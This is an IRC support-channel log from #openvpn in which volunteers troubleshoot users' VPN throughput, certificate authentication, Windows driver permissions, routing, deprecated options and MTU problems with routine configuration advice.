00:04 <+pekster> Right, it's not really openvpn eating the CPU, but the openssl code it links against
00:04 < nsgn> yeah
00:04 < nsgn> also did research. my celeron 430 in the pfsense box is single core, single thread
00:05 <+pekster> Switching to BF might give you a small speed boost, but you basically need better hardware or ideally AES-NI instruction sets
00:05 < nsgn> so yeah, its slow..but also doesnt explain why i ride at 50%
00:05 <+pekster> Yea, that is a bit odd; is the kernel eating some of that up too, perhaps?
00:05 < nsgn> I wonder if, for testing purposes, I set it to NO encryption
00:06 < nsgn> It is dedicated fiber from highly trusted ISPs end to end anyhow
00:06 < nsgn> actually, i see pfsense offers me two hardware crypto options i didnt have on
00:06 -!- elfixit [~Icedove@82.197.179.4] has joined #openvpn
00:06 < nsgn> BSD cryptodev and VIA padlock
00:07 < JuddyJacob> I've seen some older software struggle with inerupts on bsd
00:07 < nsgn> well, i know the pfsense box itself handles our 40x40 cause i can speedtest at 40x40 all day long on computers who NAT through it to get to the internet
00:08 < JuddyJacob> Sh into the pf and run the top command, it should give you a list of processes and their percentages
00:09 < JuddyJacob> Might help narrow down the culprit
00:09 <@krzee> highly trusted ISP?
00:09 <@krzee> :D
00:09 < nsgn> krzee, well, i just mean we aren't on time warner cable or someone i wouldn't trust with handcuffs on them :D
00:10 < nsgn> we've got TW telecom on one end and are in an audited/certified datacenter on the other end
00:10 < nsgn> well, the bsd crypto option made little difference
00:11 < nsgn> running top shows openvpn using about 50% cpu, the process for each eth interface using about 6 or 7%, and about 30% idle
00:12 < JuddyJacob> I would set your verb to 6 or 7, start going through logs for any errors?
00:13 <@krzee> JuddyJacob, you ever used verb 6 or 7?
00:14 < JuddyJacob> Yup, annyoing to say the least
00:14 <+pekster> verb 7 is worthless unless build with ENABLE_DEBUG
00:14 <@krzee> verb 6 is read and write louder than 5
00:14 <+pekster> (in fact, I authored the source patch that now whines at you if you try >=7)
00:14 < nsgn> welll what the heck. i just turned off encryption entirely and it still performs just as bad
00:14 <@krzee> 5 is good for seeing firewall issues
00:14 <+pekster> Really I should have set it for 6, but there were something like 4 setting that "might be" missed if I did that
00:15 <@krzee> i wouldnt go above 5 normally
00:15 < nsgn> i wonder how i set that on pfsense
00:15 < JuddyJacob> Pekster: that's awsome :-)
00:15 <@krzee> !pfsense
00:15 < nsgn> maybe just easier to set it on the standalone client in my config file
00:15 <@vpnHelper> "pfsense" is dont use the web gui for configuring openvpn, you need to understand the config and logfiles
00:15 < nsgn> thus my windows client i have a config file in :)
00:16 < nsgn> you can edit it in pf manually but its liable to get overwritten
00:17 < nsgn> alright i'm running at verb 6 and watching a lot of activity go by in the log :)
00:17 < JuddyJacob> If tun is L3, whats tap L2?
00:17 <+pekster> Right. Ethernet frames
00:17 <@krzee> JuddyJacob, yep
00:18 < JuddyJacob> Good to know :-)
00:18 < nsgn> wow. with it set to 6 when i started a file transfer it locked up the real time openvpn console for windows
00:18 <@krzee> you dont need 6 dude
00:18 <@krzee> 4 would be fine for you
00:18 < nsgn> however there are no errors to speak of
00:18 < nsgn> just a ton of reads and writes
00:18 <@krzee> ya thats all you get extra out of 6 really
00:19 < nsgn> so despite this all the logs are clear..
00:19 <@krzee> and 5 would be R and W's, same idea
00:19 < JuddyJacob> Your windows machine, how many tap drivers are installed?
00:19 < nsgn> just one. i just installed openvpn once tonight for this one connection
00:20 < JuddyJacob> Are you on wireless?
00:20 < nsgn> no...my servers aren't using wifi to connect to their fiber lines
00:21 < nsgn> they're servers. in racks :)
00:21 < JuddyJacob> Just checking...lol :-)
00:21 < nsgn> there is only wifi at one facility, the office, and its just used for some ipads and junk
00:22 < nsgn> there's a pfsense firmware update available. i'm tempted to trigger it..but i'm about an hour from the facility it is in. if it screws stuff up when i'm not there i'll have a really crappy night
00:22 < JuddyJacob> Been guilty of such, made myself a rule not to perform any upgrades remotely :-)
00:23 < JuddyJacob> Though somehow i still find myself doing it...lol
00:23 < nsgn> me too. but then i get tempted to break the rule
00:24 < nsgn> what do you want to bet the issue is with the pfsense box being either A) slow cause its a celeron or B) pfsense in general
00:24 <@krzee> i basically never ever see my hardware
00:24 < JuddyJacob> I doubt pfsence is the issue, perhaps the hardware?
00:25 <@krzee> unless i have to move it to another DC or something breaks so bad that i have to touch it
00:25 < nsgn> i just dont get why i'm seeing openvpn ramp up to 50% cpu and stop there
00:25 < nsgn> on a single core, single thread CPU you'd think that means it ISNT saturating
00:25 <@krzee> then again i also dont run web gui's that abstract my tasks
00:25 < nsgn> and therefore i should be seeing nearly max bandwidth
00:26 <@krzee> if its stopping at exactly 50% i strongly think theres a reason in the cpu like dual cores
00:26 < nsgn> krzee, i really think so too...but look up celeron 430
00:26 < nsgn> single core, no hyperthreading
00:26 <@krzee> if it was literally 50% it wouldnt sit at exactly 50%
00:26 < nsgn> well, it's sitting between 48 and 52%
00:27 <@krzee> show your /var/run/dmesg.boot
00:27 <@krzee> (assuming freebsd)
00:27 < nsgn> WAIT FOUND IT
00:28 < nsgn> in an enormous moment of WTF...the TAP driver in windows is representing to the OS at 10mbps
00:28 < nsgn> somebody shoot me. WHY?
00:28 <@krzee> lol no thats just display
00:28 < nsgn> really? cause with overhead that'd just about be the throughput i'm seeing, give or take
00:28 <@krzee> it displays that its 10mbit, its really fine, nothing to worry bout there
00:29 < nsgn> you sure? i'm bridging to it using a windows software bridge
00:29 < nsgn> i wonder if windows sees the 10mbps it advertises and holds it at that
00:29 <@krzee> did you see my answer?
00:29 <+pekster> No, bridge members don't have that effect on the bridge itself
00:29 <+pekster> And it's cosmetic only
00:30 < nsgn> yeah, i do verify now that the bridge lists 10gbps, as the other interface is
00:30 < nsgn> hmm. darn. thought i had something there :)
00:30 < JuddyJacob> Pastebin! Lol
00:31 < nsgn> they really should fix what it says. that freaked me right out
00:32 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Ping timeout: 245 seconds]
00:33 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
00:34 < JuddyJacob> I've been attempting to set openvpn on a hosted server myself, its my first time using the real deal, and not some pre-compiled firewall. Hasn't gone well needless to say
00:37 < JuddyJacob> I don't think i quite understand whats required for using tun, also doesn't help i used freebsd, which I'm still learning :-)
00:39 < nsgn> well i'm stumped for the night. bummer
00:39 < nsgn> gonna sleep. thanks for the help
00:40 -!- nsgn [~nsgn@cpe-24-28-25-43.austin.res.rr.com] has quit [Quit: Leaving]
00:40 -!- elfixit [~Icedove@82.197.179.4] has quit [Ping timeout: 240 seconds]
00:42 -!- Guest5980 [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
00:44 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has quit [Remote host closed the connection]
00:45 -!- heraclitus [~halcyon@77.74.193.82] has joined #openvpn
00:45 -!- heraclitus [~halcyon@77.74.193.82] has quit [Changing host]
00:45 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has joined #openvpn
00:45 < JuddyJacob> Can someone explain whats " tls object - incoming plain text error / peer did not return a certificate" might mean?
00:48 <+pekster> Sounds like the system generating that error never received a valid cert from the other side
00:50 < JuddyJacob> I built them with easy-rsa, tried using the samples too, same errors, i don't think my config is right? I've seen several samples but most are using tap. Does tun require static routes to work?
00:51 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
00:51 < JuddyJacob> Outside of the config i mean
00:52 <@krzee> no, you can handle routing within the config
00:52 <@krzee> !configs
00:52 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
00:53 <@krzee> also
00:53 <@krzee> !goal
00:53 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
00:55 -!- marlinc_ [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 264 seconds]
00:55 -!- JuddyJacob [~androirc@unaffiliated/juddyjacob] has quit [Remote host closed the connection]
00:55 -!- JuddyJacob [~androirc@unaffiliated/juddyjacob] has joined #openvpn
01:03 -!- JuddyJacob [~androirc@unaffiliated/juddyjacob] has quit [Quit: AndroIRC - Android IRC Client ( http://www.androirc.com )]
01:08 -!- JuddyJacob [~JuddyJaco@unaffiliated/juddyjacob] has joined #openvpn
01:09 < JuddyJacob> sorry switched to PC, and cleaned up config file http://pastebin.com/diNvBhht
01:10 <+pekster> JuddyJacob: NB on line 1 (nothing wrong, but here's a more clever solution in #2. #1 isn't for you here)
01:10 <+pekster> !topsecret
01:10 <@vpnHelper> "topsecret" is (#1) if your setup is so top secret that you cant post your configs or logs, please leave now and go find support you trust. or (#2) Clever readers may attempt to use RFC5737 to represent arbitrary public IPs one wishes to hide. Unclever attempts may be ignored with prejudice.
01:10 <+pekster> Again, ignore #1 (that's for people who make our lives a pain)
01:11 < JuddyJacob> its not really a big deal, its just a hosted image I bought to attempt to learn
01:11 <+pekster> Line 13 is pointless (though harmless)
01:11 <+pekster> Sure, though reading even the title to RFC5737 should show you why I referenced it ;)
01:11 <+pekster> (put that off to later if you'd like)
01:12 <+pekster> So besides the unnecessary line 13, that looks fine. That's the host generating that no cert received error?
01:13 < JuddyJacob> yes, i thought maybe I was firewalled but the hosting company confirmed that it is not
01:13 <+pekster> What about the client config?
01:15 < JuddyJacob> client config http://pastebin.com/ypB5hwgL
01:16 <+pekster> Okay, you are apparently trying to auth with a user/pass combo based on that, but your server is set to require certificate-based auth from your peers
01:17 -!- newbie|2 [~tjz@67.228.240.11-static.reverse.softlayer.com] has quit [Read error: Connection reset by peer]
01:18 -!- newbie|2 [~tjz@67.228.240.11-static.reverse.softlayer.com] has joined #openvpn
01:18 <+pekster> !nocert
01:18 <@vpnHelper> "nocert" is (#1) to use login and pass (NO CERTS) for auth in server setup, you want --username-as-common-name --auth-user-pass-verify --client-cert-not-required or (#2) to know more, read about those config options in the manual (!man)
01:18 < JuddyJacob> ok i will make a change
01:18 -!- HyperGlide [~HyperGlid@li634-159.members.linode.com] has quit [Quit: Leaving...]
01:19 <+pekster> You either need to issue/use a keypair/cert on your client, or define that client certs are not required (which is potentially a security problem if you allow based on your own script -- be sure it's written well!) and then add in --auth-user-pass-verify, or optionally an authentication plugin
01:20 < JuddyJacob> do i also have to store the key file on the client config?
01:20 < JuddyJacob> or server only
01:20 <+pekster> The client needs the client's own key
01:21 <+pekster> Each system only ever needs its own key, including the CA system. I have a brief intro to PKI basics here: https://www.pekster.net/staging/josh/easyrsa3/Intro-To-PKI.html
01:21 < JuddyJacob> I have a client key I made that i'm going to try, reading first
01:21 <+pekster> Ah, okay
01:22 <+pekster> Then yea, the client key, client cert, and ca cert go to the client; nothing else. Ideally that cert is encrypted (otherwise theft or "borrowing" of the laptop could compromize the key, in the latter maybe without you knowing) and for improved security, you generate the key on that box so it has never been anywhere else
01:23 < JuddyJacob> I assume cert "certname"     and key "keyname" is correct for the client config?
01:23 <+pekster> Yup
01:24 <+pekster> Oh, and comment out line 12 if you aren't using a user/pass scheme on the server
01:25 <+pekster> And 13 for that matter (you never really want 13, otherwise you'll be prompted on the console _every_ hour when the session rekeys
01:25 <+pekster> Unless you intended for that behaviour, of course
01:27 < JuddyJacob> Ha HA, thanks a lot, you just made my day :)
01:30 < JuddyJacob> now i'm gonna spend some time with the ta.key but one last question, do I have to add tls-server to the server config?
01:30 <+pekster> --server already implies it (read about how that expands in the manpage)
01:30 < JuddyJacob> ok will do, thanks again
01:36 -!- dajaco [~d@1.132.94.25] has joined #openvpn
01:36 -!- dajaco [~d@1.132.94.25] has left #openvpn []
01:37 -!- tucemiux [~tucemiux@unaffiliated/tucemiux] has joined #openvpn
01:38 -!- JuddyJacob [~JuddyJaco@unaffiliated/juddyjacob] has quit [Quit: Leaving]
01:39 < tucemiux> do I need to install openvpn client on a machine to be able to remote in to a server?  Is there an executable I can run on windows clients?
01:40 -!- mattock_afk is now known as mattock
01:41 <+pekster> Yes, OpenVPN runs on all major (and even some not-so-major) platforms. See:
01:41 <+pekster> !download
01:41 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
01:41 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
01:44 < tucemiux> pekster, I'm going to be remoting in from windows 7 machines logged in as a normal user, is there an executable that can run without being installed ?
01:45 <+pekster> No, OpenVPN requires a tun driver, and installing that in Windows requires admin access; additionally, only administrators can add routes to the OS
01:48 <+pekster> It _might_ be possible to run openvpn without any admin rights with the 'adaptive' --ip-win32 method (see the manpage for details) but I'm not sure that works, and you'd need subnet topology on the server when used in tun mode for that. YMMV
01:48 <+pekster> But that's run; you still need to install it first
01:57 <@krzee> !win_noadmin
01:57 <@vpnHelper> "win_noadmin" is (#1) http://openvpn.se/files/howto/openvpn-howto_run_openvpn_as_nonadmin-Rev1.1.html for HowTo Run OpenVPN as a non-admin user in Windows or (#2) and http://article.gmane.org/gmane.network.openvpn.user/24873 for vista
01:58 <@krzee> but you need admin to set that up anyways
01:59 <+pekster> Right, but that's all post-install
01:59 <@krzee> ya
02:00 < tucemiux> nope, that still doesn't do it, I'm logging in from different computers are at a university where I don't have admin priviledges, good try though!
02:01 <@krzee> tucemiux, we both said you MUST have admin
02:01 <@krzee> with admin it can be possible to configure a non-admin account to use openvpn
02:02 <@krzee> but you MUST have admin for the setup at least
02:02 <+pekster> OpenVPN requires a network driver, and without admin you cannot install network drivers
02:02 <+pekster> See the problem?
02:02 < tucemiux> yeah, I guess I'll remote in from my laptop then, it's better than having rdp open to the world
02:16 -!- tucemiux [~tucemiux@unaffiliated/tucemiux] has quit [Quit: Leaving]
02:19 -!- newbie|2 [~tjz@67.228.240.11-static.reverse.softlayer.com] has quit [Quit: quit irc]
02:33 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
02:59 -!- levifig [~levifig@hakr.io] has quit [Ping timeout: 248 seconds]
03:02 -!- levifig [~levifig@hakr.io] has joined #openvpn
03:21 -!- elfixit [~Icedove@82.197.179.4] has joined #openvpn
03:38 -!- mapps [~map@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
03:38 -!- map [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
03:38 -!- map is now known as Guest9854
03:39 -!- Guest5980 [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 248 seconds]
03:40 -!- mapito [~map@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 272 seconds]
03:47 -!- markp [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
03:47 -!- mapito [~map@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
03:50 -!- mapps [~map@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 260 seconds]
03:50 -!- Guest9854 [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 272 seconds]
04:04 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
04:15 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
04:16 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
04:20 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 245 seconds]
04:29 -!- Gman32 [~Gman32@ks397092.ip-192-95-27.net] has joined #openvpn
04:29 < Gman32> Hey all
04:31 < Gman32> I was wondering if someone would be kind enough to help out?
04:34 <@krzee> !ask
04:34 <@vpnHelper> "ask" is (#1) don't ask to ask, just ask your question please, see this link for how to get help on IRC: http://workaround.org/getting-help-on-irc or (#2) See also, How to ask questions the smart way here: http://catb.org/~esr/faqs/smart-questions.html
04:35 < Gman32> I am running a headless server using ubuntu 12.04 LTS. All traffic will be going thru the VPN. However, I would still like SSH access remotely.
04:35 < Gman32> So far, I can't do this
04:35 < Gman32> terminal disconnects
04:35 <@krzee> !splitroute
04:36 <@vpnHelper> "splitroute" is (#1) https://forums.openvpn.net/topic7175.html to see how to add a second routing table so you can use --redirect-gateway AND still serve things to the internet or (#2) see !route_override for how to override --redirect-gateway for a certain subnet
04:38 -!- mode/#openvpn [+b #openvpn!*@*] by krzee
04:38 -!- mode/#openvpn [-b #openvpn!*@*] by krzee
04:39 <@krzee> hah
04:41 < Gman32> Alright looks like I need to add those 2 lines
04:41 < Gman32> I have root, so lets see
04:43 <@krzee> good luck, if you need to google for more info it is called policy routing
04:44 < Gman32> Thanks krzee
04:44 <@krzee> np
04:49 -!- xanderer [~alex@lpzg-4dbdf5b8.pool.mediaWays.net] has joined #openvpn
04:50 < xanderer> Hi I want openvpn access with my windows 8.1 and opensuse 13.1 client
04:50 < xanderer> it works with comandline
04:51 < xanderer> but it doesn't work neither as a service nor bye gui
04:51 < xanderer> even if I run it as a gui with root
04:53 -!- JackWinter [~jack@vodsl-9510.vo.lu] has quit [Ping timeout: 264 seconds]
04:53 < xanderer> I think that config files are not neccessary for this
04:53 < xanderer> if someone wants a log file , just ask
04:53 < Gman32> I think I got it krzee
04:53 < Gman32> tun0 means VPN is up and going, correct?
04:56 -!- JackWinter [~jack@85.93.204.38] has joined #openvpn
05:01 -!- JackWinter [~jack@85.93.204.38] has quit [Remote host closed the connection]
05:03 -!- JackWinter [~jack@vodsl-9510.vo.lu] has joined #openvpn
05:03 < Gman32> ugh, connected fine, but now no traffic in/out
05:07 < Gman32> hmmm pings fine
05:07 < Gman32> but data trasnfer is non-existant
05:21 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 246 seconds]
05:26 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
05:56 -!- xanderer [~alex@lpzg-4dbdf5b8.pool.mediaWays.net] has left #openvpn []
06:21 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
06:43 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
06:49 -!- evangeline [~evangelin@BSN-95-233-106.static.dsl.siol.net] has joined #openvpn
06:49 < evangeline> hi
06:49 < evangeline> my openvpn is saying the following: DEPRECATED OPTION: --tls-remote, please update your configuration  ... what should I use instead of --tls-remote option ?
06:54 -!- xanderer [~alex@lpzg-4dbdf5b8.pool.mediaWays.net] has joined #openvpn
06:54 -!- xanderer [~alex@lpzg-4dbdf5b8.pool.mediaWays.net] has left #openvpn []
06:55 <+pekster> evangeline: Have you even looked in the manpage (!man) yet for that options where it says "Please also note: ..." ?
06:55 <+pekster> Your migration path is stated there
06:57 <+pekster> hint: the next option below that one is the migration path, complete with examples you can virtually copy/pate
06:58 < evangeline> I don't see the migration path here: http://openvpn.net/index.php/open-source/documentation/manuals/65-openvpn-20x-manpage.html
06:58 <@vpnHelper> Title: OpenVPN 2.0.x (at openvpn.net)
06:58 <+pekster> That's becuase you're reading the 2.0.x manpage which is over 6 years old
06:58 <+pekster> Try:
06:58 <+pekster> !man
06:58 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
06:59 < evangeline> ok I found that, thanks
07:00 < evangeline> I also have some other problem: when starting vpn from command line, it doesn't even work
07:00 <+pekster> A pastebin of the !configs and !logs (ideally at verb 4) can identify why
07:01 < evangeline> it just waits here: http://dpaste.com/1438646/
07:01 < evangeline> a log:
07:02 <+pekster> You have used --management-hold and it is waiting as that option tells you it is
07:02 < evangeline> http://dpaste.com/1438648/
07:03 < evangeline> why is that option needed anyway ?
07:05 < evangeline> ok, if I remove that option the connection is established ok
07:05 <+pekster> You don't know? This is _your_ client conig/ What are you doing with the management interface?
07:05 <+pekster> If you aren't using the management interface, you probably shouldn't add in any of the --management* options without reading them
07:06 <+pekster> It's used for programatic (or possibly manual, via telnet) control of an openvpn process
07:06 < evangeline> pekster, this was the command started with gopenvpn and I'm starting from there and working my way down ... sorry that I didn't explain that before. My main reason of doing this is because gopenvpn starts opevpn, which loses connection in about an hour: if I don't specify the  --management-query-passwords, then the openvpn daemon is just killed; with that option a password dialog is presented to me a
07:06 < evangeline> sking me for password
07:07  * pekster sighs
07:07 <+pekster> Then don't use --auth-nocache
07:07 <+pekster> And go raed the manpage
07:07 <+pekster> You apparently are from one of these nutso "VPN Providers" that ships you idiotic configs, and then haven't read about all the stuff you have asked (by leaving in the config) openvpn to do "for you"
07:07 < evangeline> so management interface is used so I can change the settings of openvpn process while still running, which has a benefit that I don't need to restart it ?
07:08 <+pekster> No, there's basically no point unless you're going to connect a management clinet
07:08 <+pekster> There's nothing worthwhile on the client end to "change" when it's up
07:08 < evangeline> so why is the management interface useful then at all?
07:09 <+pekster> frontend APIs can use them: a controlling service or desktop widget, for instance
07:09 < evangeline> aha
07:10 < evangeline> so my gopenvpn probably asks for a password because I specified the --auth-nocache option: this option is used only to instruct the openvpn process to not cache passwords in memory. Which option specifies the timeframe in which the openvpn should reconnect, because now I loose connecvtion in a about an hour
07:10 <+pekster> So don't use that option?
07:11 < evangeline> yeah, but then the password would be cached in memory ...
07:11 <+pekster> Look, go read about the options on lines 10, 11, 16, and 17 in that config. You shouldn't be using *ANY* of them
07:11 <+pekster> dude, you've declared your password in a plaintext file on your PC
07:12 <+pekster> Memory-storage is the least of your issues from a security standpoint
07:12 < evangeline> pekster, well that a good point
07:13 -!- soapee01 [~soapee01@24-155-219-177.dyn.grandenetworks.net] has quit [Ping timeout: 268 seconds]
07:13 < evangeline> okey, let's start fresh: I would like to use openvpn on my client, which is connected 15h a day, I don't want to enter passwords all the time and I want to have a secure config ... what should I do?
07:13 <+pekster> Run your own VPN becuase your provider is clearly clueless
07:13 < evangeline> pekster, this is my own VPN server
07:14 < evangeline> and I've just downloaded the config from pfsense ..
07:14 <+pekster> Then why have you added all these options??
07:14  * pekster sighs
07:15 <+pekster> Then start by reading about the 4 lines I suggested; rip them all out; you don't want _any_ of them. This is kind of the "bed you get to lay" in since you didn't actually learn how to set any of this up properly
07:15 <+pekster> if you're using user/pass auth, as a client you effectively have no choice but to cache them in memory; the same thing happens with client keys anyway in a cert-based authentication setup for clients. That's actually more secure becuase then no one can steal your plaintext user.txt file and gain full access to auth as you to the VPN
07:16 <+pekster> Optionally, just torch that file and enter your user/pass once at login; you give up the security of a client keypair, but at least someone who logs into your PC when you're out can't get access
07:16 < evangeline> well the plaintext can be stolen only if someone hacked my computer and gained root access, which is also true for the private key I'm using
07:17 <+pekster> No, becuase uYou're not using a private key on the client
07:17 <+pekster> (you have no --key or --cert directive.) And no, that's not true either because the private key is usually encrypted
07:17 <+pekster> Theft of the encrypted key is worthless without the decryption passphrase
07:18 < evangeline> pekster, what am I using then: what are client.p12 and client-tls.key ?
07:18 <+pekster> Oh, missed that, heh. p12, gotcha, So assuming that's encrypted on-disk, that's probably fine
07:19 <+pekster> (if you have to enter a decryption passphrase for the key, it's encrypted. If not, it's in plaintext)
07:19 < evangeline> yes, it's encrypted, I need the password
07:20 <+pekster> Yea, so just nuke those 4 lines and you should be okay
07:20 < evangeline> so if I use the --auth-nocache option, that password won't be kept in memory and then when reconnecting I would have to reenter it, right ... otherwise, the password is stored in memroy and it can reconnect without a problem, because it can decrypt the private key
07:20 <+pekster> Right
07:21 < evangeline> btw, you mentioned that key/cert is specified by --key and --cert directives: so the --key is used to specify private key and the --cert is used to specify public key ?
07:21 <+pekster> --pkcs12 uses .p12 (PKCS#12) containers that can hold all 3 things you need: the client cert, the private key, and the CA cert
07:21 <+pekster> (or some subset)
07:23 < evangeline> ok, why is the tls-auth needed then ?
07:23 < evangeline> is this a public key of openvpn server ?
07:23 <+pekster> "In a nutshell, --tls-auth enables a kind of "HMAC  firewall"  on  OpenVPN's  TCP/UDP  port"
07:23 <+pekster> Read the manpage becucase I'm not copy/pasteing more out of it for you
07:23 <+pekster> (you even got a nice protip from the last !man response from the bot)
07:24 <+pekster> tls-auth is just a static key allowing a peer to pass signature checks to perform a TLS handshake
07:24 < evangeline> ok
07:25 <+pekster> It's not really cryptographically important, though exposure could in theory allow someone to DOS your box
07:25 <+pekster> (it'll be safe, just under load)
07:25 <+pekster> There's a good 6 paragraphs in the manpage about technical discussion
07:25 < evangeline> btw: how are you using the openvpn, do you use --auth-nocache and are you entering the password each time needed ?
07:25 <+pekster> No, that's very silly
07:25 -!- lokken9 [lokken-pc@112.187.245.200] has quit []
07:26 <+pekster> I don't know of any interactive usecase where that would make sense. Even using OTP for login passwords (eg: google authenticator) is better done on the server checking the OTP once at login and allowing a re-keying client to stay connected
07:27 <+pekster> If an attacker has access to your memory, they've already owned your box and it's far easier for them to keylog your password than to sift through allocated memory
07:27 < evangeline> pekster, ok, so you're also caching the passwords in memory ?
07:30 < evangeline> pekster, the gopenvpn then uses management interface, so it can cleanly terminate and reconnect the openvpn connection right ?
07:30 <+pekster> I have no clue what "goopenvpn" is, nor do I care to find out
07:32 < evangeline> pekster, it's just a desktop application presenting us with the status of openvpn connection ... it's not actually important, but I want to be sure that I actually need the management interface ?
07:32 <+pekster> I have _NO_ idea
07:32 <+pekster> !gui
07:32 <@vpnHelper> "gui" is (#1) The only official GUI is the OpenVPN-GUI for Windows (see https://community.openvpn.net/openvpn/wiki/OpenVPN-GUI .) While there are other 3rd party GUIs, they may cause unexpected issues or (#2) If you're having problems starting OpenVPN through an unoffiical GUI, try launching it on the command line; if that works, the GUI is your problem
07:33 <+pekster> OpenVPN-GUI is the one and only supported/maintained GUI frontend. If you want to know how $other frontend does it, consult their docs, webpage, mailing lists, forums, or developer channels
07:35 <+pekster> A management interface is generally going to require --management which isn't in your config, but I have no way of knowing what CLI options it sends
07:36 < evangeline> pekster, ok thank you for you're help, I'll browse the help/man pages
07:38 <+pekster> We have no way of knowing what a product not designed by the openvpn community or developers do. If it's required in your setup is a question you'll have to answer. Maybe try generic things like `ps aux` to see how it was started
07:40 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Ping timeout: 260 seconds]
07:40 <+pekster> It's a little unfortinuate that the GUI can't add in what it wants itself though (that's typically how they're done -- it's how the Windows GUI works)
07:40 <+pekster> Maybe the design wasn't intended to let you "run it from the console", but IMO that's a bad design
07:41 <+pekster> Nothing wrong with GUIs, but if/when they break you'll want to use the console to get better logs and find out why if the GUI can't tell you
07:41 < evangeline> yeah
07:42 -!- takamichi [~takamichi@85.12.8.13] has joined #openvpn
07:51 <+pekster> Hmm, looks like the blame is on whatever generated your configs, mostly; this goopenvpn thing at least appears to have full source available for it, though not a lot in the way of recent development notes
07:52 <+pekster> Looks way better than network-manager, by comparison
07:54 -!- takamichi [~takamichi@85.12.8.13] has quit [Ping timeout: 260 seconds]
07:56 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
07:58 <+pekster> evangeline: fwiw, that software product does add in --management-query-passwords, --management-hold, and --management whwen it starts up (gopenvpn.c:433)
07:59 <+pekster> IOW, you shouldn't include any of them becuase from a casual look the GUI frontend does the right thing to meet its own needs
08:30 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
08:35 < evangeline> pekster, if the gopenvpn adds that option to openvpn, why shouldn't I just use them in the client.ovpn: because then those would be also used when connecting from command-line or is there any other reason?
08:35 <+pekster> Nope, that's it
08:37 < evangeline> pekster, ok thank you
08:37 < evangeline> btw: i'm not sure I understand what the management-query-passwords is actually all about
08:38 < evangeline> does it mean that the management interface can be used to query the user for a password ?
08:38 <+pekster> Right, as opposed to stdin of yoru console
08:39 <+pekster> If you're at a console, you don't generally want to have to telnet in and provide a special command syntax to feed it the username and password; it's far more intuitive for users to simply be prompted for a user/pass like any other application would
08:40 <+pekster> While the management interface can be used interactively by a human, it's not really designed to be. This said, on servers it gives you a bit more power to do things like log in and kick a user, for instance (though you could also write some webapp that does that on the backend; openvpn doesn't know/care who or what is connecting)
08:40 < evangeline> aha ok
09:00 -!- Fira [artix@unaffiliated/fira] has quit [Ping timeout: 264 seconds]
09:03 -!- HyperGlide [~HyperGlid@182.151.166.40] has joined #openvpn
09:03 -!- Fira [artix@unaffiliated/fira] has joined #openvpn
09:08 -!- namidark [~namidark@192.34.61.38] has quit [Excess Flood]
09:08 -!- namidark [~namidark@192.34.61.38] has joined #openvpn
09:24 -!- N34lO [~weechat@bunker.oakey-dev.eu] has joined #openvpn
09:27 < N34lO> hi, can someone tell me wtf i can ping the other server but dont realy get any thing other the tunnel? - "ping 10.165.94.1" works but "pv /tmp/test.img | netcat 10.165.94.1 666" doesn't
09:31 < N34lO> ok, correcting - it breaks after a few kB ~50-60
09:39 -!- Cygor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
09:40 <+pekster> N34lO: Possibly MTU issues; you should try to send an MTU-zized packet with the DF flag set (consult your ping utility help output for the details) and see if it gets through to your peer. It's best to restart both ends with `--comp-lzo no` otherwise you'll get artificially "passing" results just because of compression
09:41 -!- mitz [~mitz@222.227.247.6] has quit [Ping timeout: 260 seconds]
09:42 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
09:43 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Ping timeout: 272 seconds]
09:50 < N34lO> pekster: how do you mean? i got an mtu of 1500
09:50 < N34lO> and the servers are connected via 1GBit/s
09:51 < N34lO> and lzo is off ^^
